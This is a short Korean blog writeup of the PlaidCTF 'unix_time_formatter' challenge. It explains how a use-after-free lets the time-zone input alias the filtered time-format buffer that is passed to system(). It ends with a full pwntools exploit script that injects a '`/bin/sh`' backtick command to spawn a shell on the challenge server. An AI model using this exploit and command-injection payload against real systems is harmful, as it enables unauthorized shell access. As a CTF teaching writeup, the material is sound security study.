PCTF unix_time_formatter writeup
by St1tch문제는 3개의 입력을 받는 함수와, 출력을 해주는 함수, 그리고 끝내는 함수 이렇게 5개로 이루어져있다.
time_format과 time과 time_zone을 입력하고 print를 하면, system("/bin/date -d @%d +'%s'", (unsigned int)time_addr, time_format) 이 실행이 되고,
'TZ'라는 환경변수에는 time_zone에 입력한 문자열이 들어간다.
여기서 나는 처음에 time_zone에 '/bin/sh'를 넣고, time_format에 `$TZ`이런식으로 환경변수를 넣어 쉘을 실행시키려고 했다.
하지만 time_format을 입력할 때 필터링이 걸려있어서 넣을수가 없었다.
그런데 코드 중간중간데 getenv("DEBUG")가 있으면 자꾸 주소를 출력해주는 것과(주소 확인하면서 해라는건가 이런느낌)
exit함수를 보면 N을 입력하기 전에 heap메모리를 free해주는 걸 보고
주소를 반환해주는 strdup함수를 구글에 찾아보니 malloc을 통해 메모리를 만들어 낸다.
따라서 use after free를 이용하면 되겠다고 생각했다.
export DEBUG='1' 해놓고 실행시켜서 출력되는 주소를 보니 같은주소를 가리키고 있었다.
원래 time_zone은 출력이 되지않고, 환경변수로 저장이 되지만 time_format과 같은 곳을 가리키고 있기때문에 출력이 된다.
따라서 이 방법을 이용해서 간단하게 공격이 가능하다.
from pwn import *
s = remote('unix.pwning.xxx', 9999)
#set time_format
s.recvuntil('> ')
s.sendline('1')
s.recvuntil(': ')
s.sendline('tmp')
#exit (uaf)
s.recvuntil('> ')
s.sendline('5')
s.recvuntil('? ')
s.sendline('n')
#set time_zone(cmd)
s.recvuntil('> ')
s.sendline('3')
s.recvuntil(': ')
s.sendline('\'`/bin/sh`\'')
#exploit
s.recvuntil('> ')
s.sendline('4')
s.interactive()
ㅇㅇ
블로그의 정보
튜기's blogg(st1tch)
St1tch